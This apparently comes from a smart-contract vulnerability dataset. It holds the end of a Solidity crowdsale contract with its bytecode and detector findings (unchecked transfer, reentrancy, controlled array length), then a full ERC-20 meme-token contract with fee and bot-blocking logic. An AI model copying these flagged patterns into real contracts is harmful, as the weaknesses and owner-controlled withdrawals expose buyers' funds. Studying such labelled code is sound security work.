CashReserveFundPercentage = 20; OperationalExpensesPercentage = 10; SoftwareProductDevelopmentPercentage = 15; FoundersTeamAndAdvisorsPercentage = 20; } // fallback function can be used to buy tokens function () public payable { //buyTokens(msg.sender); var isexist = searchWhitelist(msg.sender); if(bytes(isexist).length > 0){ buyTokens(msg.sender); }else{ revert(); } } function calculateTokens(uint value) internal view returns (uint256 tokens) { uint256 timeElapsed = now - startTime; uint256 timeElapsedInDays = timeElapsed.div(1 days); uint256 bonus = 0; //Phase 1 (15 days) if (timeElapsedInDays <15) { tokens = value.mul(ratePerWei); bonus = tokens.mul(bonusInPhase1); bonus = bonus.div(100); tokens = tokens.add(bonus); require (TOKENS_SOLD.add(tokens) <= maxTokensToSale); } //Phase 2 (15 days) else if (timeElapsedInDays >=15 && timeElapsedInDays <30) { tokens = value.mul(ratePerWei); bonus = tokens.mul(bonusInPhase2); bonus = bonus.div(100); tokens = tokens.add(bonus); require (TOKENS_SOLD.add(tokens) <= maxTokensToSale); } else { bonus = 0; } } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(isCrowdsalePaused == false); require(validPurchase()); require(TOKENS_SOLD<maxTokensToSale); uint256 weiAmount = msg.value.div(10**16); uint256 tokens = calculateTokens(weiAmount); // update state weiRaised = weiRaised.add(msg.value); token.transfer(beneficiary,tokens); emit TokenPurchase(owner, beneficiary, msg.value, tokens); TOKENS_SOLD = TOKENS_SOLD.add(tokens); distributeFunds(); } function distributeFunds() internal { uint received = msg.value; LongTermFoundationBudgetAccumulated = LongTermFoundationBudgetAccumulated .add(received.mul(LongTermFoundationBudgetPercentage) .div(100)); LegalContingencyFundsAccumulated = LegalContingencyFundsAccumulated .add(received.mul(LegalContingencyFundsPercentage) .div(100)); MarketingAndCommunityOutreachAccumulated = MarketingAndCommunityOutreachAccumulated .add(received.mul(MarketingAndCommunityOutreachPercentage) .div(100)); CashReserveFundAccumulated = CashReserveFundAccumulated .add(received.mul(CashReserveFundPercentage) .div(100)); OperationalExpensesAccumulated = OperationalExpensesAccumulated .add(received.mul(OperationalExpensesPercentage) .div(100)); SoftwareProductDevelopmentAccumulated = SoftwareProductDevelopmentAccumulated .add(received.mul(SoftwareProductDevelopmentPercentage) .div(100)); FoundersTeamAndAdvisorsAccumulated = FoundersTeamAndAdvisorsAccumulated .add(received.mul(FoundersTeamAndAdvisorsPercentage) .div(100)); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; bool withinContributionLimit = msg.value >= minimumContribution && msg.value <= maximumContribution; return withinPeriod && nonZeroPurchase && withinContributionLimit; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } /** * function to change the end timestamp of the ico * can only be called by owner wallet **/ function changeEndDate(uint256 endTimeUnixTimestamp) public onlyOwner{ endTime = endTimeUnixTimestamp; } /** * function to change the start timestamp of the ico * can only be called by owner wallet **/ function changeStartDate(uint256 startTimeUnixTimestamp) public onlyOwner{ startTime = startTimeUnixTimestamp; } /** * function to pause the crowdsale * can only be called from owner wallet **/ function pauseCrowdsale() public onlyOwner { isCrowdsalePaused = true; } /** * function to resume the crowdsale if it is paused * can only be called from owner wallet **/ function resumeCrowdsale() public onlyOwner { isCrowdsalePaused = false; } function takeTokensBack() public onlyOwner { uint remainingTokensInTheContract = token.balanceOf(address(this)); token.transfer(owner,remainingTokensInTheContract); } /** * function to change the minimum contribution * can only be called from owner wallet **/ function changeMinimumContribution(uint256 minContribution) public onlyOwner { minimumContribution = minContribution; } /** * function to change the maximum contribution * can only be called from owner wallet **/ function changeMaximumContribution(uint256 maxContribution) public onlyOwner { maximumContribution = maxContribution; } /** * function to withdraw LongTermFoundationBudget funds to the owner wallet * can only be called from owner wallet **/ function withdrawLongTermFoundationBudget() public onlyOwner { require(LongTermFoundationBudgetAccumulated > 0); owner.transfer(LongTermFoundationBudgetAccumulated); LongTermFoundationBudgetAccumulated = 0; } /** * function to withdraw LegalContingencyFunds funds to the owner wallet * can only be called from owner wallet **/ function withdrawLegalContingencyFunds() public onlyOwner { require(LegalContingencyFundsAccumulated > 0); owner.transfer(LegalContingencyFundsAccumulated); LegalContingencyFundsAccumulated = 0; } /** * function to withdraw MarketingAndCommunityOutreach funds to the owner wallet * can only be called from owner wallet **/ function withdrawMarketingAndCommunityOutreach() public onlyOwner { require (MarketingAndCommunityOutreachAccumulated > 0); owner.transfer(MarketingAndCommunityOutreachAccumulated); MarketingAndCommunityOutreachAccumulated = 0; } /** * function to withdraw CashReserveFund funds to the owner wallet * can only be called from owner wallet **/ function withdrawCashReserveFund() public onlyOwner { require(CashReserveFundAccumulated > 0); owner.transfer(CashReserveFundAccumulated); CashReserveFundAccumulated = 0; } /** * function to withdraw OperationalExpenses funds to the owner wallet * can only be called from owner wallet **/ function withdrawOperationalExpenses() public onlyOwner { require(OperationalExpensesAccumulated > 0); owner.transfer(OperationalExpensesAccumulated); OperationalExpensesAccumulated = 0; } /** * function to withdraw SoftwareProductDevelopment funds to the owner wallet * can only be called from owner wallet **/ function withdrawSoftwareProductDevelopment() public onlyOwner { require (SoftwareProductDevelopmentAccumulated > 0); owner.transfer(SoftwareProductDevelopmentAccumulated); SoftwareProductDevelopmentAccumulated = 0; } /** * function to withdraw FoundersTeamAndAdvisors funds to the owner wallet * can only be called from owner wallet **/ function withdrawFoundersTeamAndAdvisors() public onlyOwner { require (FoundersTeamAndAdvisorsAccumulated > 0); owner.transfer(FoundersTeamAndAdvisorsAccumulated); FoundersTeamAndAdvisorsAccumulated = 0; } /** * function to withdraw all funds to the owner wallet * can only be called from owner wallet **/ function withdrawAllFunds() public onlyOwner { require (address(this).balance > 0); owner.transfer(address(this).balance); } }
0x60806040526004361061017f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062739f2a146101ac57806309e419d1146101d95780630c8f167e146101f05780633197cbb61461021b57806334100027146102465780634042b66f1461025d57806345737b1e1461028857806349649fbf146102b557806358c6f08b146102cc57806371445c60146102e357806378e9792514610350578063799c04681461037b57806381f1f92a146103925780638da5cb5b146103a9578063908b8cfc1461040057806392bf2bf1146104175780639908f27214610444578063a8351c0314610500578063bc7c322c14610517578063c8fed3f614610542578063ca69887314610559578063d01f63f514610584578063d0297bc6146105f0578063ec8ac4d81461061d578063ecb70fb714610653578063f2fde38b14610682578063f5235a46146106c5578063f6a60d89146106dc578063f807a98e146106f3578063fc0c546a1461077c575b606061018a336107d3565b90506000815111156101a45761019f336108b7565b6101a9565b600080fd5b50005b3480156101b857600080fd5b506101d760048036038101908080359060200190929190505050610b20565b005b3480156101e557600080fd5b506101ee610b85565b005b3480156101fc57600080fd5b50610205610c65565b6040518082815260200191505060405180910390f35b34801561022757600080fd5b50610230610c6b565b6040518082815260200191505060405180910390f35b34801561025257600080fd5b5061025b610c71565b005b34801561026957600080fd5b50610272610d51565b6040518082815260200191505060405180910390f35b34801561029457600080fd5b506102b360048036038101908080359060200190929190505050610d57565b005b3480156102c157600080fd5b506102ca610dbc565b005b3480156102d857600080fd5b506102e1610ebe565b005b3480156102ef57600080fd5b5061030e6004803603810190808035906020019092919050505061113a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035c57600080fd5b50610365611178565b6040518082815260200191505060405180910390f35b34801561038757600080fd5b5061039061117e565b005b34801561039e57600080fd5b506103a761125e565b005b3480156103b557600080fd5b506103be61133e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561040c57600080fd5b50610415611363565b005b34801561042357600080fd5b5061044260048036038101908080359060200190929190505050611443565b005b34801561045057600080fd5b50610485600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107d3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c55780820151818401526020810190506104aa565b50505050905090810190601f1680156104f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050c57600080fd5b506105156114a8565b005b34801561052357600080fd5b5061052c611520565b6040518082815260200191505060405180910390f35b34801561054e57600080fd5b50610557611526565b005b34801561056557600080fd5b5061056e611606565b6040518082815260200191505060405180910390f35b34801561059057600080fd5b50610599611613565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105dc5780820151818401526020810190506105c1565b505050509050019250505060405180910390f35b3480156105fc57600080fd5b5061061b600480360381019080803590602001909291905050506116a1565b005b610651600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108b7565b005b34801561065f57600080fd5b50610668611706565b604051808215151515815260200191505060405180910390f35b34801561068e57600080fd5b506106c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611712565b005b3480156106d157600080fd5b506106da611867565b005b3480156106e857600080fd5b506106f1611947565b005b3480156106ff57600080fd5b5061077a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506119bf565b005b34801561078857600080fd5b50610791611a89565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6060601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108ab5780601f10610880576101008083540402835291602001916108ab565b820191906000526020600020905b81548152906001019060200180831161088e57829003601f168201915b50505050509050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff16141515156108e057600080fd5b60001515600c60009054906101000a900460ff16151514151561090257600080fd5b61090a611aaf565b151561091557600080fd5b60075460065410151561092757600080fd5b610941662386f26fc1000034611b0390919063ffffffff16565b915061094c82611b1e565b905061096334600554611c7a90919063ffffffff16565b600581905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a2e57600080fd5b505af1158015610a42573d6000803e3d6000fd5b505050506040513d6020811015610a5857600080fd5b8101908080519060200190929190505050508273ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad183484604051808381526020018281526020019250505060405180910390a3610b0d81600654611c7a90919063ffffffff16565b600681905550610b1b611c98565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7b57600080fd5b8060028190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610be057600080fd5b6000600e54111515610bf157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600e549081150290604051600060405180830381858888f19350505050158015610c5a573d6000803e3d6000fd5b506000600e81905550565b60065481565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ccc57600080fd5b6000600f54111515610cdd57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600f549081150290604051600060405180830381858888f19350505050158015610d46573d6000803e3d6000fd5b506000600f81905550565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610db257600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1757600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff1631111515610e3d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610ebb573d6000803e3d6000fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1b57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610fd857600080fd5b505af1158015610fec573d6000803e3d6000fd5b505050506040513d602081101561100257600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110fb57600080fd5b505af115801561110f573d6000803e3d6000fd5b505050506040513d602081101561112557600080fd5b81019080805190602001909291905050505050565b601d8181548110151561114957fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111d957600080fd5b60006010541115156111ea57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6010549081150290604051600060405180830381858888f19350505050158015611253573d6000803e3d6000fd5b506000601081905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112b957600080fd5b60006013541115156112ca57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6013549081150290604051600060405180830381858888f19350505050158015611333573d6000803e3d6000fd5b506000601381905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113be57600080fd5b60006012541115156113cf57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6012549081150290604051600060405180830381858888f19350505050158015611438573d6000803e3d6000fd5b506000601281905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561149e57600080fd5b80600a8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150357600080fd5b6001600c60006101000a81548160ff021916908315150217905550565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561158157600080fd5b600060115411151561159257600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6011549081150290604051600060405180830381858888f193505050501580156115fb573d6000803e3d6000fd5b506000601181905550565b6000601d80549050905090565b6060601d80548060200260200160405190810160405280929190818152602001828054801561169757602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161164d575b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116fc57600080fd5b80600b8190555050565b60006003544211905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117a957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c257600080fd5b60006014541115156118d357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6014549081150290604051600060405180830381858888f1935050505015801561193c573d6000803e3d6000fd5b506000601481905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119a257600080fd5b6000600c60006101000a81548160ff021916908315150217905550565b6000601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905081816000019080519060200190611a1a929190611ea9565b506001601d8490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806002544210158015611ac957506003544211155b925060003414159150600a543410158015611ae65750600b543411155b9050828015611af25750815b8015611afb5750805b935050505090565b6000808284811515611b1157fe5b0490508091505092915050565b60008060008060025442039250611b416201518084611b0390919063ffffffff16565b915060009050600f821015611bd357611b6560045486611e6e90919063ffffffff16565b9350611b7c60085485611e6e90919063ffffffff16565b9050611b92606482611b0390919063ffffffff16565b9050611ba78185611c7a90919063ffffffff16565b9350600754611bc185600654611c7a90919063ffffffff16565b11151515611bce57600080fd5b611c72565b600f8210158015611be45750601e82105b15611c6c57611bfe60045486611e6e90919063ffffffff16565b9350611c1560095485611e6e90919063ffffffff16565b9050611c2b606482611b0390919063ffffffff16565b9050611c408185611c7a90919063ffffffff16565b9350600754611c5a85600654611c7a90919063ffffffff16565b11151515611c6757600080fd5b611c71565b600090505b5b505050919050565b6000808284019050838110151515611c8e57fe5b8091505092915050565b6000349050611cd9611cc86064611cba60155485611e6e90919063ffffffff16565b611b0390919063ffffffff16565b600e54611c7a90919063ffffffff16565b600e81905550611d1b611d0a6064611cfc60165485611e6e90919063ffffffff16565b611b0390919063ffffffff16565b600f54611c7a90919063ffffffff16565b600f81905550611d5d611d4c6064611d3e60175485611e6e90919063ffffffff16565b611b0390919063ffffffff16565b601054611c7a90919063ffffffff16565b601081905550611d9f611d8e6064611d8060185485611e6e90919063ffffffff16565b611b0390919063ffffffff16565b601154611c7a90919063ffffffff16565b601181905550611de1611dd06064611dc260195485611e6e90919063ffffffff16565b611b0390919063ffffffff16565b601254611c7a90919063ffffffff16565b601281905550611e23611e126064611e04601a5485611e6e90919063ffffffff16565b611b0390919063ffffffff16565b601354611c7a90919063ffffffff16565b601381905550611e65611e546064611e46601b5485611e6e90919063ffffffff16565b611b0390919063ffffffff16565b601454611c7a90919063ffffffff16565b60148190555050565b6000806000841415611e835760009150611ea2565b8284029050828482811515611e9457fe5b04141515611e9e57fe5b8091505b5092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611eea57805160ff1916838001178555611f18565b82800160010185558215611f18579182015b82811115611f17578251825591602001919060010190611efc565b5b509050611f259190611f29565b5090565b611f4b91905b80821115611f47576000816000905550600101611f2f565b5090565b905600a165627a7a7230582042c4fda668594429db3abf80dc3cb87de731abf40d06aaae5118d5c00fde25e20029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
506
0xc3fdb1e4eed67d5e915978dfedef82ad8202230f
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BabyKimJongUn is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "BabyKimJongUn"; string private constant _symbol = "BKIM"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool public inSwap = false; bool public swapEnabled = false; bool public cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x6051156Ef7962de0C391386d4fA4E2B1a7E5DCDa); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 1; _feeAddr2 = 9; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
